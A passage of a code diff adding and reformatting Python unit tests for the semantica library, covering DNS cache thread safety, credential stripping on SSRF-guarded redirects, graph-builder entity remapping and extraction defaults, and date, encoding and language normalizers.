assert not isinstance(exc, ValidationError), (
|
||||
f"Local path must not raise ValidationError; got: {exc}"
|
||||
)
|
||||
|
||||
|
||||
class TestRepoHostResolveCacheThreadSafety:
|
||||
"""Regression test: _REPO_HOST_RESOLVE_CACHE must survive concurrent use.
|
||||
|
||||
_REPO_HOST_RESOLVE_CACHE is a module-level OrderedDict shared across every
|
||||
RepoIngestor instance and thread. Before the fix, _resolve_repo_host_ips
|
||||
and _prune_repo_host_resolve_cache read, wrote, and iterated the dict with
|
||||
no lock. Under concurrent host validation (e.g. multiple
|
||||
ingest_repository() calls running in a thread pool), one thread's
|
||||
insert/evict during another thread's iteration reliably raised
|
||||
RuntimeError: OrderedDict mutated during iteration.
|
||||
"""
|
||||
|
||||
def test_concurrent_resolve_repo_host_ips_does_not_raise(self):
|
||||
def fake_getaddrinfo(host, *args, **kwargs):
|
||||
return [(socket.AF_INET, socket.SOCK_STREAM, 0, "", ("93.184.216.34", 0))]
|
||||
|
||||
orig_ttl = repo_ingestor_mod._REPO_HOST_RESOLVE_CACHE_TTL_SECONDS
|
||||
orig_max = repo_ingestor_mod._REPO_HOST_RESOLVE_CACHE_MAX_ENTRIES
|
||||
# Small TTL/cap so eviction and pruning happen on nearly every call,
|
||||
# keeping the dict under constant mutation without needing an
|
||||
# unreasonably large iteration count.
|
||||
repo_ingestor_mod._REPO_HOST_RESOLVE_CACHE_TTL_SECONDS = 0.001
|
||||
repo_ingestor_mod._REPO_HOST_RESOLVE_CACHE_MAX_ENTRIES = 8
|
||||
|
||||
errors = []
|
||||
errors_lock = threading.Lock()
|
||||
|
||||
def worker(worker_id):
|
||||
for i in range(500):
|
||||
host = f"race-host-{worker_id}-{i}.example.com"
|
||||
try:
|
||||
repo_ingestor_mod.RepoIngestor._resolve_repo_host_ips(host)
|
||||
except Exception as exc: # pragma: no cover - failure path
|
||||
with errors_lock:
|
||||
errors.append(exc)
|
||||
|
||||
try:
|
||||
with patch(
|
||||
"semantica.ingest.repo_ingestor.socket.getaddrinfo",
|
||||
side_effect=fake_getaddrinfo,
|
||||
):
|
||||
# daemon=True so a hung worker cannot also block the test
|
||||
# process from exiting once it's reported below.
|
||||
threads = [
|
||||
threading.Thread(target=worker, args=(n,), daemon=True)
|
||||
for n in range(32)
|
||||
]
|
||||
for t in threads:
|
||||
t.start()
|
||||
# Assert right after each join, not after the whole loop:
|
||||
# join(timeout=30) alone does not fail the test if a thread
|
||||
# hangs, and checking only once every thread has been
|
||||
# joined means a mass hang costs up to 32*30s = 16 minutes
|
||||
# before the test even reaches the check -- the exact
|
||||
# CI-reliability problem this guards against. Failing on
|
||||
# the first hung thread caps the worst case at ~30s.
|
||||
for t in threads:
|
||||
t.join(timeout=30)
|
||||
assert not t.is_alive(), (
|
||||
f"worker thread {t.name} did not finish within "
|
||||
f"the 30s join timeout (still running)"
|
||||
)
|
||||
finally:
|
||||
repo_ingestor_mod._REPO_HOST_RESOLVE_CACHE_TTL_SECONDS = orig_ttl
|
||||
repo_ingestor_mod._REPO_HOST_RESOLVE_CACHE_MAX_ENTRIES = orig_max
|
||||
|
||||
assert not errors, (
|
||||
f"Concurrent host resolution raised {len(errors)} error(s); "
|
||||
f"first: {errors[0]!r}"
|
||||
)
|
||||
@@ -182,6 +182,128 @@ class TestRequestWithSsrfGuardRedirects:
|
||||
session=session,
|
||||
)
|
||||
|
||||
def test_strips_authorization_on_cross_host_redirect(self):
|
||||
"""Sensitive headers must not leak to a different redirect host."""
|
||||
redirect = MagicMock()
|
||||
redirect.status_code = 302
|
||||
redirect.headers = {"Location": "https://other-host.example/final"}
|
||||
redirect.close = MagicMock()
|
||||
|
||||
final = MagicMock()
|
||||
final.status_code = 200
|
||||
final.headers = {}
|
||||
|
||||
session = MagicMock()
|
||||
session.request.side_effect = [redirect, final]
|
||||
|
||||
with patch(
|
||||
"semantica.ingest.ssrf.socket.getaddrinfo",
|
||||
return_value=[(None, None, None, None, ("93.184.216.34", 0))],
|
||||
):
|
||||
request_with_ssrf_guard(
|
||||
"GET",
|
||||
"https://example.com/start",
|
||||
session=session,
|
||||
headers={"Authorization": "Bearer secret-token"},
|
||||
)
|
||||
|
||||
assert session.request.call_count == 2
|
||||
second_call_headers = session.request.call_args_list[1].kwargs.get("headers", {})
|
||||
assert "Authorization" not in second_call_headers
|
||||
# The first hop still had the credential
|
||||
first_call_headers = session.request.call_args_list[0].kwargs.get("headers", {})
|
||||
assert first_call_headers.get("Authorization") == "Bearer secret-token"
|
||||
|
||||
def test_keeps_authorization_on_same_host_redirect(self):
|
||||
"""Same-host redirects keep the credential (requests semantics)."""
|
||||
redirect = MagicMock()
|
||||
redirect.status_code = 302
|
||||
redirect.headers = {"Location": "https://example.com/final"}
|
||||
redirect.close = MagicMock()
|
||||
|
||||
final = MagicMock()
|
||||
final.status_code = 200
|
||||
final.headers = {}
|
||||
|
||||
session = MagicMock()
|
||||
session.request.side_effect = [redirect, final]
|
||||
|
||||
with patch(
|
||||
"semantica.ingest.ssrf.socket.getaddrinfo",
|
||||
return_value=[(None, None, None, None, ("93.184.216.34", 0))],
|
||||
):
|
||||
request_with_ssrf_guard(
|
||||
"GET",
|
||||
"https://example.com/start",
|
||||
session=session,
|
||||
headers={"Authorization": "Bearer secret-token"},
|
||||
)
|
||||
|
||||
assert session.request.call_count == 2
|
||||
second_call_headers = session.request.call_args_list[1].kwargs.get("headers", {})
|
||||
assert second_call_headers.get("Authorization") == "Bearer secret-token"
|
||||
|
||||
def test_strips_authorization_on_scheme_downgrade(self):
|
||||
"""Credentials must not follow an https -> http downgrade on the same host."""
|
||||
redirect = MagicMock()
|
||||
redirect.status_code = 302
|
||||
redirect.headers = {"Location": "http://example.com/final"}
|
||||
redirect.close = MagicMock()
|
||||
|
||||
final = MagicMock()
|
||||
final.status_code = 200
|
||||
final.headers = {}
|
||||
|
||||
session = MagicMock()
|
||||
session.request.side_effect = [redirect, final]
|
||||
|
||||
with patch(
|
||||
"semantica.ingest.ssrf.socket.getaddrinfo",
|
||||
return_value=[(None, None, None, None, ("93.184.216.34", 0))],
|
||||
):
|
||||
request_with_ssrf_guard(
|
||||
"GET",
|
||||
"https://example.com/start",
|
||||
session=session,
|
||||
headers={"Authorization": "Bearer secret-token"},
|
||||
)
|
||||
|
||||
assert session.request.call_count == 2
|
||||
second_call_headers = session.request.call_args_list[1].kwargs.get("headers", {})
|
||||
assert "Authorization" not in second_call_headers
|
||||
# The first hop still had the credential
|
||||
first_call_headers = session.request.call_args_list[0].kwargs.get("headers", {})
|
||||
assert first_call_headers.get("Authorization") == "Bearer secret-token"
|
||||
|
||||
def test_keeps_authorization_on_scheme_upgrade(self):
|
||||
"""Credentials survive an http -> https upgrade on default ports (requests semantics)."""
|
||||
redirect = MagicMock()
|
||||
redirect.status_code = 302
|
||||
redirect.headers = {"Location": "https://example.com/final"}
|
||||
redirect.close = MagicMock()
|
||||
|
||||
final = MagicMock()
|
||||
final.status_code = 200
|
||||
final.headers = {}
|
||||
|
||||
session = MagicMock()
|
||||
session.request.side_effect = [redirect, final]
|
||||
|
||||
with patch(
|
||||
"semantica.ingest.ssrf.socket.getaddrinfo",
|
||||
return_value=[(None, None, None, None, ("93.184.216.34", 0))],
|
||||
):
|
||||
request_with_ssrf_guard(
|
||||
"GET",
|
||||
"http://example.com/start",
|
||||
session=session,
|
||||
headers={"Authorization": "Bearer secret-token"},
|
||||
)
|
||||
|
||||
assert session.request.call_count == 2
|
||||
second_call_headers = session.request.call_args_list[1].kwargs.get("headers", {})
|
||||
assert second_call_headers.get("Authorization") == "Bearer secret-token"
|
||||
|
||||
def test_follows_safe_redirect(self):
|
||||
redirect = MagicMock()
|
||||
redirect.status_code = 302
|
||||
|
||||
@@ -123,6 +123,96 @@ class TestGraphBuilderExternal(unittest.TestCase):
|
||||
self.assertIn(("2", "3"), ids)
|
||||
self.assertIn(("3", "4"), ids)
|
||||
|
||||
def test_relationship_endpoints_are_remapped_after_entity_resolution(self):
|
||||
builder = GraphBuilder(merge_entities=False, resolve_conflicts=False)
|
||||
resolver = MagicMock()
|
||||
resolver.resolve_entities.return_value = [
|
||||
{
|
||||
"id": "alice:1",
|
||||
"name": "Alice Chen",
|
||||
"type": "Person",
|
||||
"merged_from": ["alice:1", "alice:2"],
|
||||
},
|
||||
{"id": "org:1", "name": "Zyx Qqqq", "type": "Organization"},
|
||||
]
|
||||
|
||||
graph = builder.build(
|
||||
{
|
||||
"entities": [
|
||||
{"id": "alice:1", "name": "Alice Chen", "type": "Person"},
|
||||
{"id": "alice:2", "name": "Alice Chen", "type": "Person"},
|
||||
{"id": "org:1", "name": "Zyx Qqqq", "type": "Organization"},
|
||||
],
|
||||
"relationships": [
|
||||
{
|
||||
"source": "alice:2",
|
||||
"target": "org:1",
|
||||
"type": "WORKS_FOR",
|
||||
}
|
||||
],
|
||||
},
|
||||
entity_resolver=resolver,
|
||||
)
|
||||
|
||||
self.assertEqual(
|
||||
graph["relationships"],
|
||||
[{"source": "alice:1", "target": "org:1", "type": "WORKS_FOR"}],
|
||||
)
|
||||
entity_ids = {entity["id"] for entity in graph["entities"]}
|
||||
for relationship in graph["relationships"]:
|
||||
self.assertIn(relationship["source"], entity_ids)
|
||||
self.assertIn(relationship["target"], entity_ids)
|
||||
|
||||
def test_unhashable_entity_ids_do_not_crash_remapping(self):
|
||||
builder = GraphBuilder(merge_entities=False, resolve_conflicts=False)
|
||||
resolver = MagicMock()
|
||||
resolver.resolve_entities.return_value = [
|
||||
{
|
||||
"id": ["invalid-canonical-id"],
|
||||
"name": "Invalid ID",
|
||||
"type": "Person",
|
||||
"merged_from": ["invalid-canonical-id"],
|
||||
},
|
||||
{
|
||||
"id": "alice:1",
|
||||
"name": "Alice Chen",
|
||||
"type": "Person",
|
||||
"merged_from": [["invalid-source-id"]],
|
||||
},
|
||||
]
|
||||
|
||||
graph = builder.build(
|
||||
{
|
||||
"entities": [{"id": "alice:1", "name": "Alice Chen", "type": "Person"}],
|
||||
"relationships": [],
|
||||
},
|
||||
entity_resolver=resolver,
|
||||
)
|
||||
|
||||
self.assertEqual(len(graph["entities"]), 2)
|
||||
|
||||
def test_relationship_remapping_skips_unmerged_entities(self):
|
||||
builder = GraphBuilder(merge_entities=False, resolve_conflicts=False)
|
||||
resolver = MagicMock()
|
||||
resolver.resolve_entities.return_value = [
|
||||
{"id": "alice:1", "name": "Alice Chen", "type": "Person"},
|
||||
{"id": "org:1", "name": "Zyx Qqqq", "type": "Organization"},
|
||||
]
|
||||
|
||||
with patch.object(builder, "_remap_relationship_endpoints") as remap:
|
||||
builder.build(
|
||||
{
|
||||
"entities": [
|
||||
{"id": "alice:1", "name": "Alice Chen", "type": "Person"},
|
||||
{"id": "org:1", "name": "Zyx Qqqq", "type": "Organization"},
|
||||
],
|
||||
"relationships": [],
|
||||
},
|
||||
entity_resolver=resolver,
|
||||
)
|
||||
|
||||
remap.assert_not_called()
|
||||
|
||||
def test_warning_when_all_relationships_dropped(self):
|
||||
builder = GraphBuilder(merge_entities=False, resolve_conflicts=False)
|
||||
|
||||
|
||||
@@ -0,0 +1,262 @@
|
||||
"""Pins GraphBuilder's raw-text extraction defaults to the documented values.
|
||||
|
||||
Regression guard for #930: `_extract_from_text` defaulted to LLM extraction for
|
||||
all three methods and ran relation extraction unconditionally, both of which
|
||||
contradicted the `build()` docstring and silently required a provider and API
|
||||
key for any raw-text build.
|
||||
"""
|
||||
|
||||
import unittest
|
||||
from unittest.mock import patch
|
||||
|
||||
from semantica.kg.graph_builder import GraphBuilder
|
||||
|
||||
|
||||
class TestGraphBuilderExtractionDefaults(unittest.TestCase):
|
||||
|
||||
def setUp(self):
|
||||
self.ner_patcher = patch(
|
||||
"semantica.semantic_extract.ner_extractor.NERExtractor"
|
||||
)
|
||||
self.rel_patcher = patch(
|
||||
"semantica.semantic_extract.relation_extractor.RelationExtractor"
|
||||
)
|
||||
self.trip_patcher = patch(
|
||||
"semantica.semantic_extract.triplet_extractor.TripletExtractor"
|
||||
)
|
||||
self.NER = self.ner_patcher.start()
|
||||
self.Rel = self.rel_patcher.start()
|
||||
self.Trip = self.trip_patcher.start()
|
||||
self.addCleanup(self.ner_patcher.stop)
|
||||
self.addCleanup(self.rel_patcher.stop)
|
||||
self.addCleanup(self.trip_patcher.stop)
|
||||
|
||||
self.NER.return_value.extract_entities.return_value = []
|
||||
self.Rel.return_value.extract_relations.return_value = []
|
||||
self.Trip.return_value.extract_triplets.return_value = []
|
||||
|
||||
self.builder = GraphBuilder(merge_entities=False, resolve_conflicts=False)
|
||||
|
||||
def _extract(self, **options):
|
||||
self.builder._extract_from_text(
|
||||
"Apple Inc. was founded in 1976.", [], [], **options
|
||||
)
|
||||
|
||||
def test_ner_method_defaults_to_ml(self):
|
||||
self._extract()
|
||||
self.assertEqual(self.NER.call_args.kwargs["method"], "ml")
|
||||
|
||||
def test_triplet_method_defaults_to_pattern(self):
|
||||
self._extract()
|
||||
self.assertEqual(self.Trip.call_args.kwargs["method"], "pattern")
|
||||
|
||||
def test_relation_extraction_is_off_by_default(self):
|
||||
self._extract()
|
||||
self.Rel.assert_not_called()
|
||||
|
||||
def test_relation_method_defaults_to_pattern_when_enabled(self):
|
||||
self._extract(extract_relations=True)
|
||||
self.assertEqual(self.Rel.call_args.kwargs["method"], "pattern")
|
||||
|
||||
def test_no_extractor_defaults_to_llm(self):
|
||||
"""No raw-text default may require a provider or API key."""
|
||||
self._extract(extract_relations=True)
|
||||
extractors = (
|
||||
("ner", self.NER),
|
||||
("relation", self.Rel),
|
||||
("triplet", self.Trip),
|
||||
)
|
||||
for name, mock_cls in extractors:
|
||||
with self.subTest(extractor=name):
|
||||
self.assertNotEqual(mock_cls.call_args.kwargs["method"], "llm")
|
||||
|
||||
def test_llm_extraction_is_still_available_explicitly(self):
|
||||
self._extract(
|
||||
ner_method="llm",
|
||||
relation_method="llm",
|
||||
triplet_method="llm",
|
||||
extract_relations=True,
|
||||
)
|
||||
self.assertEqual(self.NER.call_args.kwargs["method"], "llm")
|
||||
self.assertEqual(self.Rel.call_args.kwargs["method"], "llm")
|
||||
self.assertEqual(self.Trip.call_args.kwargs["method"], "llm")
|
||||
|
||||
|
||||
class TestGraphBuilderExtractorReuse(unittest.TestCase):
|
||||
"""Extractors must be built once per method, not once per text.
|
||||
|
||||
`NERExtractor.__init__` loads its spaCy model eagerly, so with the `"ml"`
|
||||
default a per-text construction would reload the model for every source in
|
||||
a multi-document build.
|
||||
"""
|
||||
|
||||
def setUp(self):
|
||||
self.ner_patcher = patch(
|
||||
"semantica.semantic_extract.ner_extractor.NERExtractor"
|
||||
)
|
||||
self.NER = self.ner_patcher.start()
|
||||
self.addCleanup(self.ner_patcher.stop)
|
||||
self.NER.return_value.extract_entities.return_value = []
|
||||
|
||||
self.builder = GraphBuilder(merge_entities=False, resolve_conflicts=False)
|
||||
|
||||
def test_ner_extractor_built_once_across_texts(self):
|
||||
for i in range(5):
|
||||
self.builder._extract_from_text(f"Document {i}.", [], [])
|
||||
self.assertEqual(self.NER.call_count, 1)
|
||||
|
||||
def test_distinct_methods_get_distinct_extractors(self):
|
||||
self.builder._extract_from_text("a", [], [])
|
||||
self.builder._extract_from_text("b", [], [], ner_method="pattern")
|
||||
self.builder._extract_from_text("c", [], [])
|
||||
self.assertEqual(self.NER.call_count, 2)
|
||||
|
||||
|
||||
class TestGraphBuilderForwardsRelationsToTriplets(unittest.TestCase):
|
||||
"""Relations extracted with relation_method must reach triplet extraction.
|
||||
|
||||
`TripletExtractor` re-derives relations itself when `relations is None`,
|
||||
using a method derived from `triplet_method` — so not forwarding them both
|
||||
duplicates work and can produce triplets inconsistent with the relations
|
||||
already extracted.
|
||||
"""
|
||||
|
||||
def setUp(self):
|
||||
self.ner_patcher = patch(
|
||||
"semantica.semantic_extract.ner_extractor.NERExtractor"
|
||||
)
|
||||
self.rel_patcher = patch(
|
||||
"semantica.semantic_extract.relation_extractor.RelationExtractor"
|
||||
)
|
||||
self.trip_patcher = patch(
|
||||
"semantica.semantic_extract.triplet_extractor.TripletExtractor"
|
||||
)
|
||||
self.NER = self.ner_patcher.start()
|
||||
self.Rel = self.rel_patcher.start()
|
||||
self.Trip = self.trip_patcher.start()
|
||||
self.addCleanup(self.ner_patcher.stop)
|
||||
self.addCleanup(self.rel_patcher.stop)
|
||||
self.addCleanup(self.trip_patcher.stop)
|
||||
|
||||
self.NER.return_value.extract_entities.return_value = []
|
||||
self.Trip.return_value.extract_triplets.return_value = []
|
||||
|
||||
self.builder = GraphBuilder(merge_entities=False, resolve_conflicts=False)
|
||||
|
||||
def _triplet_kwargs(self):
|
||||
return self.Trip.return_value.extract_triplets.call_args.kwargs
|
||||
|
||||
def test_extracted_relations_are_forwarded(self):
|
||||
sentinel = [object()]
|
||||
self.Rel.return_value.extract_relations.return_value = sentinel
|
||||
|
||||
self.builder._extract_from_text("x", [], [], extract_relations=True)
|
||||
|
||||
self.assertIs(self._triplet_kwargs()["relations"], sentinel)
|
||||
|
||||
def test_relations_is_none_when_extraction_disabled(self):
|
||||
"""Default path keeps TripletExtractor's own relation derivation."""
|
||||
self.builder._extract_from_text("x", [], [])
|
||||
|
||||
self.assertIsNone(self._triplet_kwargs()["relations"])
|
||||
self.Rel.assert_not_called()
|
||||
|
||||
def test_relations_is_none_when_extraction_fails(self):
|
||||
self.Rel.return_value.extract_relations.side_effect = RuntimeError("boom")
|
||||
|
||||
self.builder._extract_from_text("x", [], [], extract_relations=True)
|
||||
|
||||
self.assertIsNone(self._triplet_kwargs()["relations"])
|
||||
|
||||
|
||||
class TestGraphBuilderFallbackMethodLists(unittest.TestCase):
|
||||
"""All three extractors accept a list of methods for fallback ordering.
|
||||
|
||||
The extractor cache must key on something hashable, or passing a list
|
||||
raises `TypeError: unhashable type: 'list'` before extraction even starts.
|
||||
"""
|
||||
|
||||
def setUp(self):
|
||||
self.ner_patcher = patch(
|
||||
"semantica.semantic_extract.ner_extractor.NERExtractor"
|
||||
)
|
||||
self.rel_patcher = patch(
|
||||
"semantica.semantic_extract.relation_extractor.RelationExtractor"
|
||||
)
|
||||
self.trip_patcher = patch(
|
||||
"semantica.semantic_extract.triplet_extractor.TripletExtractor"
|
||||
)
|
||||
self.NER = self.ner_patcher.start()
|
||||
self.Rel = self.rel_patcher.start()
|
||||
self.Trip = self.trip_patcher.start()
|
||||
self.addCleanup(self.ner_patcher.stop)
|
||||
self.addCleanup(self.rel_patcher.stop)
|
||||
self.addCleanup(self.trip_patcher.stop)
|
||||
|
||||
self.NER.return_value.extract_entities.return_value = []
|
||||
self.Rel.return_value.extract_relations.return_value = []
|
||||
self.Trip.return_value.extract_triplets.return_value = []
|
||||
|
||||
self.builder = GraphBuilder(merge_entities=False, resolve_conflicts=False)
|
||||
|
||||
def test_list_method_does_not_raise(self):
|
||||
self.builder._extract_from_text(
|
||||
"x", [], [], ner_method=["pattern", "ml"], extract_triplets=False
|
||||
)
|
||||
self.assertEqual(self.NER.call_args.kwargs["method"], ["pattern", "ml"])
|
||||
|
||||
def test_list_methods_accepted_for_every_extractor(self):
|
||||
self.builder._extract_from_text(
|
||||
"x",
|
||||
[],
|
||||
[],
|
||||
ner_method=["pattern", "ml"],
|
||||
relation_method=["pattern", "cooccurrence"],
|
||||
triplet_method=["pattern", "rules"],
|
||||
extract_relations=True,
|
||||
)
|
||||
self.assertEqual(self.NER.call_args.kwargs["method"], ["pattern", "ml"])
|
||||
self.assertEqual(
|
||||
self.Rel.call_args.kwargs["method"], ["pattern", "cooccurrence"]
|
||||
)
|
||||
self.assertEqual(self.Trip.call_args.kwargs["method"], ["pattern", "rules"])
|
||||
|
||||
def test_equal_lists_reuse_one_extractor(self):
|
||||
for _ in range(3):
|
||||
self.builder._extract_from_text(
|
||||
"x", [], [], ner_method=["pattern", "ml"], extract_triplets=False
|
||||
)
|
||||
self.assertEqual(self.NER.call_count, 1)
|
||||
|
||||
def test_different_lists_get_different_extractors(self):
|
||||
self.builder._extract_from_text(
|
||||
"x", [], [], ner_method=["pattern", "ml"], extract_triplets=False
|
||||
)
|
||||
self.builder._extract_from_text(
|
||||
"x", [], [], ner_method=["ml", "pattern"], extract_triplets=False
|
||||
)
|
||||
self.assertEqual(self.NER.call_count, 2)
|
||||
|
||||
|
||||
class TestGraphBuilderDefaultsRunOffline(unittest.TestCase):
|
||||
"""The default raw-text path must work with no provider and no network."""
|
||||
|
||||
def test_default_build_needs_no_provider(self):
|
||||
builder = GraphBuilder(merge_entities=False, resolve_conflicts=False)
|
||||
entities, relationships = [], []
|
||||
|
||||
# No mocks: this runs the real ml/pattern extractors end to end. If any
|
||||
# default resolved to "llm", this would attempt a provider call.
|
||||
with patch("semantica.semantic_extract.providers.create_provider") as provider:
|
||||
builder._extract_from_text(
|
||||
"Apple Inc. was founded by Steve Jobs in 1976.",
|
||||
entities,
|
||||
relationships,
|
||||
)
|
||||
|
||||
provider.assert_not_called()
|
||||
self.assertIsInstance(entities, list)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -1,12 +1,14 @@
|
||||
import unittest
|
||||
from datetime import datetime, date, timedelta, timezone
|
||||
from datetime import datetime, timedelta, timezone
|
||||
from unittest.mock import patch
|
||||
|
||||
from semantica.normalize.date_normalizer import (
|
||||
DateNormalizer,
|
||||
TimeZoneNormalizer,
|
||||
RelativeDateProcessor,
|
||||
TemporalExpressionParser
|
||||
TimeZoneNormalizer,
|
||||
)
|
||||
|
||||
|
||||
class TestDateNormalizer(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.normalizer = DateNormalizer()
|
||||
@@ -14,39 +16,42 @@ class TestDateNormalizer(unittest.TestCase):
|
||||
def test_normalize_date_iso(self):
|
||||
# Test ISO8601 parsing
|
||||
self.assertEqual(
|
||||
self.normalizer.normalize_date("2023-01-01", format="date"),
|
||||
"2023-01-01"
|
||||
self.normalizer.normalize_date("2023-01-01", format="date"), "2023-01-01"
|
||||
)
|
||||
self.assertEqual(
|
||||
self.normalizer.normalize_date("2023-01-01T12:00:00", format="ISO8601"),
|
||||
"2023-01-01T12:00:00+00:00"
|
||||
"2023-01-01T12:00:00+00:00",
|
||||
)
|
||||
|
||||
def test_normalize_date_relative(self):
|
||||
# Test relative date parsing (e.g., "today", "yesterday")
|
||||
# Note: These depend on current date, so we might need to mock datetime if strictly testing logic,
|
||||
# but for now we'll assume the relative processor uses current time.
|
||||
# We can check if it returns a valid ISO date string.
|
||||
today = datetime.now(timezone.utc).date().isoformat()
|
||||
self.assertEqual(
|
||||
self.normalizer.normalize_date("today", format="date"),
|
||||
today
|
||||
)
|
||||
class FixedDateTime(datetime):
|
||||
@classmethod
|
||||
def now(cls, tz=None):
|
||||
fixed = cls(2024, 1, 2, 0, 30)
|
||||
return fixed if tz is None else fixed.replace(tzinfo=tz)
|
||||
|
||||
with patch("semantica.normalize.date_normalizer.datetime", FixedDateTime):
|
||||
self.assertEqual(
|
||||
self.normalizer.normalize_date("today", format="date"),
|
||||
"2024-01-02",
|
||||
)
|
||||
|
||||
def test_normalize_timezone(self):
|
||||
# Test timezone conversion
|
||||
# "2023-01-01T12:00:00+01:00" -> UTC should be "2023-01-01T11:00:00+00:00"
|
||||
normalized = self.normalizer.normalize_date(
|
||||
"2023-01-01T12:00:00+01:00",
|
||||
timezone="UTC"
|
||||
"2023-01-01T12:00:00+01:00", timezone="UTC"
|
||||
)
|
||||
self.assertEqual(normalized, "2023-01-01T11:00:00+00:00")
|
||||
|
||||
def test_parse_temporal_expression(self):
|
||||
# Test range parsing
|
||||
result = self.normalizer.parse_temporal_expression("from 2023-01-01 to 2023-01-31")
|
||||
result = self.normalizer.parse_temporal_expression(
|
||||
"from 2023-01-01 to 2023-01-31"
|
||||
)
|
||||
self.assertIsNotNone(result.get("range"))
|
||||
|
||||
|
||||
class TestTimeZoneNormalizer(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.tz_normalizer = TimeZoneNormalizer()
|
||||
@@ -56,7 +61,10 @@ class TestTimeZoneNormalizer(unittest.TestCase):
|
||||
# Assuming default is UTC if not specified or naive
|
||||
normalized = self.tz_normalizer.normalize_timezone(dt, "UTC")
|
||||
# Check offset instead of object identity
|
||||
self.assertEqual(normalized.tzinfo.utcoffset(normalized), timezone.utc.utcoffset(None))
|
||||
self.assertEqual(
|
||||
normalized.tzinfo.utcoffset(normalized), timezone.utc.utcoffset(None)
|
||||
)
|
||||
|
||||
|
||||
class TestRelativeDateProcessor(unittest.TestCase):
|
||||
def setUp(self):
|
||||
@@ -71,5 +79,6 @@ class TestRelativeDateProcessor(unittest.TestCase):
|
||||
diff = datetime.now() - dt
|
||||
self.assertTrue(timedelta(days=2, hours=23) < diff < timedelta(days=3, hours=1))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
|
||||
@@ -1,35 +1,41 @@
|
||||
import unittest
|
||||
import os
|
||||
|
||||
from semantica.normalize.encoding_handler import EncodingHandler
|
||||
|
||||
|
||||
class TestEncodingHandler(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.handler = EncodingHandler()
|
||||
|
||||
def test_detect_encoding(self):
|
||||
# UTF-8
|
||||
text = "Héllò Wörld"
|
||||
text = (
|
||||
"C'était déjà l'été à Montréal; François dégustait un café près "
|
||||
"de l'hôtel. "
|
||||
) * 4
|
||||
utf8_bytes = text.encode("utf-8")
|
||||
encoding, conf = self.handler.detect(utf8_bytes)
|
||||
encoding, _ = self.handler.detect(utf8_bytes)
|
||||
self.assertEqual(encoding.lower(), "utf-8")
|
||||
|
||||
|
||||
# Latin-1
|
||||
latin1_bytes = text.encode("latin-1")
|
||||
encoding, conf = self.handler.detect(latin1_bytes)
|
||||
# chardet might return ISO-8859-1 or Windows-1252 which are compatible
|
||||
self.assertIn(encoding.lower(), ["iso-8859-1", "windows-1252", "latin-1"])
|
||||
encoding, _ = self.handler.detect(latin1_bytes)
|
||||
# Different chardet versions may choose different compatible codecs.
|
||||
self.assertEqual(latin1_bytes.decode(encoding), text)
|
||||
|
||||
def test_convert_to_utf8(self):
|
||||
text = "Héllò Wörld"
|
||||
latin1_bytes = text.encode("latin-1")
|
||||
converted = self.handler.convert_to_utf8(latin1_bytes)
|
||||
converted = self.handler.convert_to_utf8(
|
||||
latin1_bytes, source_encoding="latin-1"
|
||||
)
|
||||
self.assertEqual(converted, text)
|
||||
|
||||
def test_remove_bom(self):
|
||||
# UTF-8 BOM
|
||||
bom_bytes = b"\xef\xbb\xbfHello"
|
||||
self.assertEqual(self.handler.remove_bom(bom_bytes), b"Hello")
|
||||
|
||||
|
||||
# String BOM
|
||||
bom_str = "\ufeffHello"
|
||||
self.assertEqual(self.handler.remove_bom(bom_str), "Hello")
|
||||
@@ -39,5 +45,6 @@ class TestEncodingHandler(unittest.TestCase):
|
||||
# Invalid sequence for ascii
|
||||
self.assertFalse(self.handler.validate_encoding("Héllò", "ascii"))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
|
||||
@@ -1,24 +1,39 @@
|
||||
import unittest
|
||||
from semantica.normalize.language_detector import LanguageDetector
|
||||
|
||||
from semantica.normalize.language_detector import (
|
||||
LANGDETECT_AVAILABLE,
|
||||
LanguageDetector,
|
||||
)
|
||||
|
||||
|
||||
class TestLanguageDetector(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.detector = LanguageDetector()
|
||||
|
||||
@unittest.skipUnless(LANGDETECT_AVAILABLE, "langdetect is not installed")
|
||||
def test_detect_language(self):
|
||||
# English
|
||||
self.assertEqual(self.detector.detect("This is a simple English sentence."), "en")
|
||||
self.assertEqual(
|
||||
self.detector.detect("This is a simple English sentence."), "en"
|
||||
)
|
||||
# French
|
||||
self.assertEqual(self.detector.detect("Ceci est une phrase française simple."), "fr")
|
||||
self.assertEqual(
|
||||
self.detector.detect("Ceci est une phrase française simple."), "fr"
|
||||
)
|
||||
# German
|
||||
self.assertEqual(self.detector.detect("Dies ist ein einfacher deutscher Satz."), "de")
|
||||
self.assertEqual(
|
||||
self.detector.detect("Dies ist ein einfacher deutscher Satz."), "de"
|
||||
)
|
||||
|
||||
def test_detect_short_text(self):
|
||||
# Should return default for very short text
|
||||
self.assertEqual(self.detector.detect("Hi"), "en")
|
||||
|
||||
@unittest.skipUnless(LANGDETECT_AVAILABLE, "langdetect is not installed")
|
||||
def test_detect_with_confidence(self):
|
||||
lang, conf = self.detector.detect_with_confidence("This is definitely an English sentence.")
|
||||
lang, conf = self.detector.detect_with_confidence(
|
||||
"This is definitely an English sentence."
|
||||
)
|
||||
self.assertEqual(lang, "en")
|
||||
self.assertGreater(conf, 0.5)
|
||||
|
||||
@@ -27,5 +42,6 @@ class TestLanguageDetector(unittest.TestCase):
|
||||
self.assertEqual(self.detector.get_language_name("fr"), "French")
|
||||
self.assertEqual(self.detector.get_language_name("xx"), "XX")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
|
||||
@@ -1,9 +1,12 @@
|
||||
import tempfile
|
||||
import unittest
|
||||
from unittest.mock import MagicMock, patch, mock_open
|
||||
from pathlib import Path
|
||||
from semantica.seed.seed_manager import SeedDataManager, SeedDataSource, SeedData
|
||||
from unittest.mock import patch
|
||||
|
||||
from semantica.seed.seed_manager import SeedData, SeedDataManager, SeedDataSource
|
||||
from semantica.utils.exceptions import ProcessingError
|
||||
|
||||
|
||||
class TestSeedDataManager(unittest.TestCase):
|
||||
|
||||
def setUp(self):
|
||||
@@ -32,20 +35,20 @@ class TestSeedDataManager(unittest.TestCase):
|
||||
self.assertEqual(source.entity_type, "Person")
|
||||
self.assertIn(name, self.manager.versions)
|
||||
|
||||
